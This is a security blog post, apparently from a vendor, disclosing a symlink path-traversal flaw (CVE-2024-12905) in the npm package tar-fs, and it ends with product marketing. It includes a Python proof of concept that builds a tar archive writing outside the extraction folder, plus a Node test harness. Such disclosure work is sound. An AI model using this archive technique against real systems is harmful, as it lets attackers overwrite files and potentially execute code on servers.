The npm ecosystem is full of small, popular packages that quietly do the heavy lifting behind the scenes of modern applications. One such package is tar-fs — a utility that makes it easy to pack and unpack .tar archives with Node.js, boasting over 20 million weekly downloads (most of which originating from the prebuild-install and @puppeteer/browsers packages).
In this post we dig into tar-fs, uncover a critical security flaw that was missed in a previous fix, and show how an attacker could exploit it to write arbitrary files to a system — potentially leading to remote code execution. Along the way, we’ll explore how the vulnerability works, why the original patch fell short, and what we did to responsibly disclose the issue.
During a brisk review of popular npm packages I couldn't help but notice that tar-fs, despite having millions of weekly downloads, had had only 1 reported vulnerability at the time - CVE-2018-20835. This vulnerability made it so that during extraction of an archive tar-fs could create a hardlink to an arbitrary path on the filesystem, outside the destination folder.
While internally tar-fs uses tar-stream to perform the binary parsing of archives, tar-fs itself is in charge of performing the actual filesystem operations for each of the archive's entries, such as files, directories, and more.
It isn’t unthinkable for a server to accept tar archives as user input for uploading a set of files to a known folder. However, if such a service is susceptible to this kind of attack, commonly known as “zip-slip”, a malicious actor could overwrite sensitive files in the system or gain remote-code-execution.
Thinking 'where there is one, there are many', I decided to check out the source code. The fix was done in the onlink callback function, making sure the path is within the desired folder:
By glancing at the above diff, and having read the description of the original flaw, I immediately thought "wait but what about symlinks??". Indeed, the original fix did not cover the onsymlink callback, which can be similarly exploited to create & overwrite files on the host's filesystem - henceforth known as CVE-2024-12905.
This is a relatively easy flaw to exploit - one needs to build an archive containing a link to the target path, and an additional file with the data we want to write, using the same name. At first, tar-fs will create a link, priming it to be overwritten or written into. Then, it will handle the file entry in the archive, and dump the data to the destination pointed to by our symlink.
By setting both the link and the file entries to be in the root of the tar archive we can also bypass some other checks going on in the validate function that behaved a bit differently across the different versions, creating a very simple archive.
For example, the following archive will cause tar-fs to dump the content of the grievous file into /tmp/hellothere:
$ tar tvf ./poc.tar
lrw-r--r-- 0 0 0 0 Jan 1 1970 grievous -> /tmp/hellothere
-rwxrwxrwx 0 0 0 15 Jan 1 1970 grievous
The following code builds a tar archive that demonstrates the above exploit:
payload = io.BytesIO(b'general kenobi\n')
target_path = '/tmp/hellothere'
fake_file = 'grievous'
print(f"building payload to dump into {target_path}")
with tarfile.TarFile(output, mode='w', dereference=False) as tf:
# create link to target
link_info = tarfile.TarInfo(fake_file)
link_info.type = tarfile.SYMTYPE
link_info.linkname = target_path
tf.addfile(link_info)
# add payload
file_info = tarfile.TarInfo(fake_file)
file_info.mode = 0o777
payload.seek(0, os.SEEK_END)
file_info.size = payload.tell()
payload.seek(0)
tf.addfile(file_info, fileobj=payload)
print(f'payload saved to {output}')
Which can be tested with the following node code, simulating server code that unpacks a user’s tar archive into a destination directory:
const tar = require('tar-fs')
const fs = require('fs')
var infile = process.argv[2]
fs.createReadStream(infile).pipe(
tar.extract('./my-directory')
)
console.log(`done extracting ${infile}`)
// cat /tmp/hellothere
This issue seems to affect the latest release of all major versions of the package at the time of discovery:
Seal Security helped address this vulnerability by automatically providing a standalone security patch for one of our customers, a leading internet security software company, protecting their systems from exploitation.
Our comprehensive solutions ensure seamless and automated vulnerability remediation, empowering security teams to quickly and effectively patch all direct and transitive dependencies without relying on developers, safeguarding legacy components, and maintaining continuous compliance across the software lifecycle.